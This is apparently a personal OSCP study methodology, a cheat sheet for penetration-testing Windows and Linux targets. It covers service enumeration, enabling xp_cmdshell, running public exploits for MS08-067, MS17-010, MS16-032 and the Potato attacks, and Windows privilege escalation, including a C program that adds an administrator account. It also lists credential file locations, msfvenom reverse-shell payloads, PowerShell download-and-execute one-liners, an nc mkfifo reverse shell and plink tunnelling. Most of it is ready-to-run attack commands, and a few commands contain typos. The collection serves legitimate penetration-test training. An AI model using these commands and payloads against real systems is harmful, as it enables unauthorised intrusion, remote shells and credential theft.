OSCP Methodology

My OSCP Methodology

Blackbox Enumeration

nmap full tcp port scan

nmap <ip> -sV -sC -O -T4 --traceroute -p - -oA ~/path/filename

Ftp

• service -> exploit (searchsploit + google)
• banner
• default creds (hydra)
• Anonymous login
• Put files
  • if exists web service, check if web and ftp has the same path
• nmap info

SSH

• service -> exploit (searchsploit + google)
• banner
• default creds (hydra)
• default creds with nsr (hydra)
• nmap info

Samba

• nmap info:

  • OS samba
  • Computer name/NetBIOS name
  • Domain name
  • Workgroup
  • OS of machine

• service (OS samba or nmap service header (139 & 445)) -> exploit (searchsploit + google)

  nmap -sV -sC --open -T4 -p 139,445 --script=vuln --script-args=unsafe=1

• enum4linux

• smbclient *smbclient -L -N

  • connect to samba in a specific share with creds
    • smbclient \\ip\share -U username

MSSQL

sqsh

• Connect to MSSQL:

  sqsh -S <ip> -U <username>

• Enable xp_cmdshell:

  EXEC SP_CONFIGURE N'show advanced options', 1

  go

  Configuration option 'show advanced options' changed from 1 to 1. Run the RECONFIGURE statement to install. (return status = 0)

  RECONFIGURE

  go

  EXEC SP_CONFIGURE N'xp_cmdshell', 1

  go

  Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install. (return status = 0)

  RECONFIGURE

  go

nmap

nmap -p 1433 --script ms-sql-xp-cmdshell --script-args mssql.username=sa,mssql.password=<pass>,ms-sql-xp-cmdshell.cmd="net user " <ip>

Http/Https

• Service -> exploit (searchsploit + google)

• nmap info

• if directories from nmap output, OPTIONS request for put http method availability.

• nikto:

  • default
  • CGI all

• source

• gobuster:

  • with common.txt:

    gobuster dir -u [url] -w /usr/share/wordlists/dirb/common.txt -s '200,204,301,302,307,403,500' -e -t [number] -o common.results

    gobuster dir -u [url] -w /usr/share/wordlists/dirb/common.txt -s '200,204,301,302,307,403,500' -e -t [number] -x .exte,.exte,.exte -o exte.common.results

  • With big.txt:

    gobuster dir -u [url] -w /usr/share/wordlists/dirb/big.txt -s '200,204,301,302,307,403,500' -e -t [number] -o big.results

    gobuster dir -u [url] -w /usr/share/wordlists/dirb/big.txt -s '200,204,301,302,307,403,500' -e -t [number] -x .exte,.exte,.exte -o exte.big.results

  • With medium.txt:

    gobuster dir -u [url] -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -s '200,204,301,302,307,403,500' -e -t [number] -o medium.results

    gobuster dir -u [url] -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -s '200,204,301,302,307,403,500' -e -t [number] -x .exte,.exte,.exte -o exte.medium.results

• Play around with burpsuite (Spider, repeater)

• if web page contains big articles qith many words use cewl:

  cewl -w custom_worlist <ip> -d <depth>

Exploits

Windows

Churrasco

• Windows Server 2003 and IIS 6.0 privledge escalation using impersonation token (Tokens kiddnapping revenge):
• use https://github.com/Re4son/Churrasco/raw/master/churrasco.exe
• Needs Listener

Windows

MS08-067

git clone https://github.com/andyacer/ms08_067.git

• configuration
  • pip install impacket
• 2 reverse options for shellcoding:
  • Use the third with 443
  • Use the third with default
  • Use second with default
  • Use second with port of third or another port
• Choose the right option of menu.
  • Find OS of machine
  • Guess lanhuage
• Needs Listener

Windows

MS17-010

git clone https://github.com/worawit/MS17-010.git

zzz_exploit.py:

• If needed USERNAME-"//"

• next add the following 2 lines to below def smb

  smb_send_file(smbConn, '/root/htb/blue/puckieshell443.exe', 'C', '/puckieshell443.exe')

  service_exec(conn, r'cmd /c c:\puckieshell443.exe')

• custom payload:

  msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.28 LPORT=443 -f exe > shell.exe

• Needs Listener

eternalblue_exploit7.py

• use the https://github.com/nickvourd/eternalblue_win7_auto_gen in order to merge binaries nad payload
• Run the following: python MS17-010/eternalblue_exploit7.py /tmp/sc_x.bin
• Needs Listener

Windows

MS10-059

• use the https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS10-059
• serve the MS10-059.exe (https://github.com/SecWiki/windows-kernel-exploits/blob/master/MS10-059/MS10-059.exe) to victim
• run exploit:

  MS10-059.exe <ip> <port>

• Need Listener

Windows

MS11-046

• use the https://www.exploit-db.com/exploits/40564
• compile:

  i686-w64-mingw32-gcc MS11-046.c -o MS11-046.exe -lws2_32

  Installation: apt install mingw-w64

• no need listener (insta run)

Windows

MS15-051

• use the https://github.com/SecWiki/windows-kernel-exploits/blob/master/MS15-051/MS15-051-KB3045171.zip
• Check the architecture of victim and choose the right exe
• upload to victim machine
• run the following:

  ms15-051x64.exe "nc.exe 10.10.14.28 4444 -e cmd.exe"

• Needs Listener

Windows

MS16-032

• use https://www.exploit-db.com/exploits/39719
• Edit the file:
  • end of file add this Invoke-MS16-032
  • Inside th file search and find cmd.exe two times.
  • Change with shell.exe in current directory in victim which you are.
  • generate shell.exe:

    msfvenom -p windows/shell_reverse_tcp LHOST=<ip> LPORT=6666 -f exe > shell.exe

  • serve the shell.exe to victim
  • open a listener
  • run the ps1 exploit:

    C:\windows\sysnative\windowspowershell\v1.0\powershell IEX(New-Object Net.WebClient).downloadString('http://<ip>/ms16032.ps1')

Potatos

Hot Potato

What is: Hot Potato (aka: Potato) takes advantage of known issues in Windows to gain local privilege escalation in default configurations, namely NTLM relay (specifically HTTP->SMB relay) and NBNS spoofing.

Affected systems: Windows 7,8,10, Server 2008, Server 2012

Guide: https://foxglovesecurity.com/2016/01/16/hot-potato/

Use: https://github.com/foxglovesec/Potato

Rotten Potato

What is: Rotten Potato and its standalone variants leverages the privilege escalation chain based on BITS service having the MiTM listener on 127.0.0.1:6666 and when you have SeImpersonate or SeAssignPrimaryToken privileges

Affetced sytsems: Windows 7,8,10, Server 2008, Server 2012, Server 2016

Guide: https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/ https://0xdf.gitlab.io/2018/08/04/htb-silo.html

Use: https://github.com/nickvourd/lonelypotato

• Rotten Potato from default opens meterpreter, use lonely potato which opens in line shell

Juicy Potato

What is: Juicy potato is basically a weaponized version of the RottenPotato exploit that exploits the way Microsoft handles tokens. Through this, we achieve privilege escalation.

Affetcted Systems:

• Windows 7 Enterprise
• Windows 8.1 Enterprise
• Windows 10 Enterprise
• Windows 10 Professional
• Windows Server 2008 R2 Enterprise
• Windows Server 2012 Datacenter
• Windows Server 2016 Standard

Find CLSID here: https://ohpe.it/juicy-potato/CLSID/

Warning: Juicy Potato doesn’t work in Windows Server 2019

Guides: https://0x1.gitlab.io/exploit/Windows-Privilege-Escalation/#juicy-potato-abusing-the-golden-privileges https://hunter2.gitbook.io/darthsidious/privilege-escalation/juicy-potato#:~:text=Juicy%20potato%20is%20basically%20a,this%2C%20we%20achieve%20privilege%20escalation.

Use: https://github.com/ohpe/juicy-potato

Privilege Escalation

Windows

• systeminfo | findstr /B /C:"OS Name" /C:"OS Version"

  • searchsploit
  • google

• systeminfo

  • Architecture
  • Numbers of Proccessors
  • Domain
  • HotFixes
  • System Locale
  • Input Locale

• Numbers of cores of processors:

  WMIC CPU Get DeviceID,NumberOfCores,NumberOfLogicalProcessors

• Windows Privileges:

  whoami /priv

  • More info here: https://hackinparis.com/data/slides/2019/talks/HIP2019-Andrea_Pierini-Whoami_Priv_Show_Me_Your_Privileges_And_I_Will_Lead_You_To_System.pdf
    • SeDebugPrivilege
    • SeRestorePrivilege
    • SeBackupPrivilege
    • SeTakeOwnershipPrivilege
    • SeTcbPrivilege
    • SeCreateToken Privilege
    • SeLoadDriver Privilege
    • SeImpersonate & SeAssignPrimaryToken Priv.

• Users of system and their groups

  • net user
  • net user *Password required *groups

• whoami /groups

• Insecure File Permissions:

  tasklist /SVC > process.txt

  or with powershell

  Get-WmiObject win32_service | Select-Object Name, State, PathName | Where-Object {$_.State -like 'Running'}

  icacls "<path>\<file.exe>"

  • if full access the User can modify it.

  Custom exploit: #include <stdlib.h>

  int main (){ int i; i = system ("net user evil Ev!lpass /add"); i = system ("net localgroup administrators evil /add");

  retunr 0; }

  Compile from windows: i686-w64-mingw32-gcc adduser.c -o adduser.exe

  move "C:\Program Files\Serviio\bin\ServiioService.exe" "C:\Program Files\Serviio\bin\ServiioService_original.exe" move adduser.exe "C:\Program Files\Serviio\bin\ServiioService.exe"

  dir "C:\Program Files\Serviio\bin"

  net stop Servilo

  if access denied try:wmic service where caption="Serviio" get name, caption, state, startmode -> if Auto atrribute inside then will auto execute after reboot.

  whoami /priv if SeShutdownPrivilege then we can restart machine: * shutdown /r /t 0

  net localgroup Administrators

• Unqoted Service Path:

• Enumerating World Writable Directories:

  accesschk.exe -uws "Everyone" "C:\Program Files"

• Applications installed versions:

  wmic product get name, version, vendor

• Schedule tasks

  schtasks /query /fo LIST /v > schedule.txt

• Windows-Exploit-Suggester

  • python windows-exploit-suggester.py --database 2020-08-09-mssb.xls --systeminfo grandpa.txt

• Serlock

  • Config: Add to the last line the "Find-AllVulns"
  • Download and run Sherlock:

    echo IEX(New-Object Net.WebClient).DownloadString('http://<ip>:<port>/Sherlock.ps1') | powershell -noprofile -

• Watson

  • Find .NET latest version of victim:

    dir %windir%\Microsoft.NET\Framework /AD

  • Fow older than windows 10 download zip version of watson v.1: https://github.com/rasta-mouse/Watson/tree/486ff207270e4f4cadc94ddebfce1121ae7b5437
  • Build exe to visual studio

• PowerUP

  • Config: add to the last line the "Invoke-AllChecks"
  • Download and run PowerUp:

    echo IEX(New-Object Net.WebClient).DownloadString('http://<ip>:<port>/PowerUp.ps1') | powershell -noprofi

• Stored Creadentials:

  • cmdkey /list

    • if interactive module enabled 100% runas as other user
    • if domain and user exist try again runas as other user

    runas /savecred /user:<Domain>\<user> C:\<path>\<exefile>

  • Stored as plaintext or base64

    • C:\unattend.xml
    • C:\Windows\Panther\Unattend.xml
    • C:\Windows\Panther\Unattend\Unattend.xml
    • C:\Windows\system32\sysprep.inf
    • C:\Windows\system32\sysprep\sysprep.xml

  • If system is running an IIS web server the web.config file:

    • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
    • C:\inetpub\wwwroot\web.config

  • Local administrators passwords can also retrieved via the Group Policy Preferences:

    • C:\ProgramData\Microsoft\Group Policy\History????\Machine\Preferences\Groups\Groups.xml
    • \????\SYSVOL\Policies????\MACHINE\Preferences\Groups\Groups.xml

  • Except of the Group.xml file the cpassword attribute can be found in other policy preference files as well such as:

    • Services\Services.xml
    • ScheduledTasks\ScheduledTasks.xml
    • Printers\Printers.xml
    • Drives\Drives.xml
    • DataSources\DataSources.xml

  • Most Windows systems they are running McAfee as their endpoint protection. The password is stored encrypted in the SiteList.xml file:

    • %AllUsersProfile%Application Data\McAfee\Common Framework\SiteList.xml

MSFVENOM

EXE

msfvenom -p windows/shell_reverse_tcp LHOST=<ip> LPORT=<port> -f exe > shell.exe

JSP

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<ip> LPORT=<port> -f raw > shell.jsp

ASP

msfvenom -p windows/shell_reverse_tcp LHOST=<ip> LPORT=<port> -f asp > shell.asp

ASPX

msfvenom -p windows/shell_reverse_tcp LHOST=<ip> LPOR WART=<port> -f aspx > shell.aspx

WAR

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<ip> LPORT=<port> -f war > shell.war

Download files

With Powershell

powershell -command "& { iwr http://192.168.199.1/win.txt -OutFile win.txt }"

Reverse shell with nc

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f

plink

→ What is plink:

Plink is a command-line connection tool similar to UNIX ssh. It is mostly used for automated operations, such as making CVS access a repository on a remote server. Plink is a command line application.It makes simple interactive connection to a remote server. This means that you cannot just double-click on its icon to run it and instead you have to bring up a console window.

Example to expose ports: 445 (samba)

How to expose a port on your local machine:

[local_machine]: systemctl start ssh

→ Upload plink.exe on remote machine as binary (mode)

[remote_machine]: plink.exe -l [username] -pw [password] -R [port]:127.0.0.1:[port] [ip]

→ After that, the victim’s port will be exposed on your local machine (127.0.0.1)